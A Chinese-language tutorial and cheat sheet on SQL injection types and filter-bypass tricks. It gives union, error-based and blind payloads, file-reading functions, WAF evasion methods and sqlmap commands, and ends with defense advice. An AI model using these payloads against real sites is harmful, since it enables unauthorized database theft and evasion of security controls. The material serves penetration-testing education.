SQL注入及其bypass
字数 2940 2025-08-15 21:31:42
SQL注入攻击与绕过技术详解
一、SQL注入基础概念
SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用这种漏洞绕过安全机制,获取数据库中的敏感信息。
二、SQL注入类型及利用方法
1. 整数型注入
特征:参数为数字类型,不加引号
测试步骤:
- 加入单引号测试:
id=1'(语句出错,不会回显) - 逻辑测试:
id=1 and 1=1(返回正常页面)id=1 and 1=2(语句执行但无查询结果)
- 确定字段数:
id=1 order by n(逐步增加n直到出错) - 确定回显位置:
id=-1 union select 1,2,3,... - 获取数据库信息:
- 数据库名:
id=-1 union select 1,database() - 表名:
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名' - 字段名:
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='表名' - 数据:
id=-1 union select 1,group_concat(字段名) from 数据库名.表名
- 数据库名:
2. 字符型注入
特征:参数被单引号包围
绕过方法:使用注释符注释掉后面的单引号(--+或#)
测试步骤:
- 闭合引号:
id=1' - 逻辑测试:
id=1' and 1=1 #id=1' and 1=2 #
- 后续步骤与整数型注入类似,但需在语句末尾添加注释符
3. 报错注入
特征:页面返回数据库报错信息
常用函数:
updatexml():updatexml(1,(concat(0x7e,(select...),0x7e)),1)(最多返回32位)- 其他报错函数:
Union select count(*),concat(database(),0x26,floor(rand(0)*2))x from information_schema.columns group by x;
4. 布尔盲注
特征:页面只返回yes/no或true/false
利用方法:
- 判断数据库名长度:
id=1 and length(database())>=n - 逐字符猜解:
id=1 and substr(database(),1,1)='a' - 自动化工具:Python脚本、Burp Suite、sqlmap
5. 时间盲注
特征:页面不返回任何值
利用方法:
if(length(database())>2,sleep(5),1)if(substr(database(),1,1)='a',sleep(5),1)- 通过响应时间判断条件真假
6. Cookie注入
特征:参数在Cookie中而非URL
测试方法:
- 使用Burp Suite抓包
- 修改Cookie中的参数值进行测试
- sqlmap命令:
sqlmap -u "http://example.com/" --cookie "id=1" --level 2 --dbs
7. User-Agent注入
特征:服务器记录User-Agent信息
测试方法:
- 修改User-Agent头进行注入
- sqlmap命令(level>=3时会尝试注入User-Agent)
三、常用SQL函数
1. 信息获取函数
user():系统用户名current_user():当前用户名session_user():连接数据库的用户名database():数据库名version():数据库版本@@datadir:数据库路径@@basedir:数据库安装路径@@version_compile_os:操作系统
2. 字符串处理函数
concat():连接字符串concat_ws():含分隔符连接字符串group_concat():连接组内所有字符串(逗号分隔)ascii():字符串ASCII码ord():返回首字符ASCII码mid()/substr()/substring():截取字符串length()/char_length():字符串长度hex():获取16进制值
3. 数学运算函数
div:除法(同/)mod:取余数floor:向下取整rand():随机数(0-1)
4. 文件操作函数
load_file():读取本地文件into outfile:写文件
四、Bypass技术
1. 空格绕过
- 使用注释:
/**/ - 使用空白字符:
%09,%0a,%0b,%0c,%0d,%20,%a0 - 使用浮点数:
1.1,1. - 使用科学计数法:
0e1,1e7 - 使用特殊字符:
+,``
2. 关键词绕过
- 内联注释:
/*!50540select user()*/(版本>=5.5.40时执行) - 换行符:
%0A - 浮点数形式:
1.0union - 罕见函数替代:
concat_ws()替代group_concat()char_length()替代length()
- 运算符替代:
and→div,like,regexp,<>,!=,xor,&,^,||or→||,|,&,^
3. 等价函数替换
system_user()→user()concat_ws()→group_concat()char_length()→length()@@datadir→@@basedir
4. 特殊符号绕过
~,x key},(),emoji,@:=等- 示例:
select * from users where id=~
5. 信息架构表绕过
当information_schema被屏蔽时:
- 库名:构造不存在函数触发报错
SELECT * FROM users where id=forsec() - 表名:使用
Polygon和linestring函数SELECT * FROM users where id=1 and polygon(id) SELECT * FROM users where id=1 and linestring(id) - 字段名:利用JOIN和USING报错
select * from users where id=1 and (select*from(select * from users as a join users as b) as c); select * from users where id=1 and (select*from(select * from users as a join users as b using(uid)) as c);
五、自动化工具使用
1. sqlmap基本命令
- 基本扫描:
sqlmap -u "url" - Cookie注入:
sqlmap -u "url" --cookie "id=1" --level 2 --dbs - User-Agent注入:
sqlmap -u "url" --level 3 --dbs - 使用请求文件:
sqlmap -r abc.txt --level 3 --dbs
2. Burp Suite配合
- 抓取请求保存为文件
- 使用sqlmap加载请求文件
- 观察时间盲注的响应时间
六、防御建议
- 使用参数化查询(预编译语句)
- 实施最小权限原则
- 对输入进行严格过滤和转义
- 禁用错误信息回显
- 使用Web应用防火墙(WAF)
- 定期更新和修补系统
通过掌握这些SQL注入技术和绕过方法,安全人员可以更好地测试和加固Web应用的安全性。请注意,这些技术仅应用于合法授权的安全测试,未经授权的测试可能违反法律。